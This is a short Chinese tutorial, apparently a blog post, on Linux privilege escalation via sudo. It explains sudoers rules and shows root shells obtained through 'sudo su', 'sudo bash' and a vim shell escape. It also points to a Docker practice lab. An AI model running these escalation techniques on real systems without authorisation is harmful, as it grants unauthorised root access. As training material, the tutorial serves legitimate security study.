Linux提权系列 - sudo (1)

191 阅读1分钟

概述

在Linux系统中,sudo(SuperUser DO)命令允许当前用户以其他用户的身份运行程序命令。 系统管理员通过系统文件/etc/sudoers来控制某个用户可以使用sudo运行哪些程序命令。

例1: root用户可以使用sudo运行任意程序

## Allow root to run any commands anywhere
root    ALL=(ALL)       ALL

例2: john用户可以使用sudoroot用户的权限运行/usr/bin/cat /etc/shadow

john ALL = (root) /usr/bin/cat /etc/shadow

示例

对于普通用户而言, 一定数量的程序提供了通过sudo进行提权的手段。 示例如下:

  • su
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo su
root@d56f1c49657a:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@d56f1c49657a:/home/test#
  • bash
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo bash
root@d56f1c49657a:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@d56f1c49657a:/home/test#
  • vim
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo vim -c ':!/bin/sh'

# id
uid=0(root) gid=0(root) groups=0(root)
#

方法

  • 使用以下命令可以列出当前用户的所有可通过sudo运行的程序命令
sudo -l

003_A.png

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,其中test用户有若干个可通过sudo的程序命令,可用于提权的练习。

github.com/wuzhang72/L…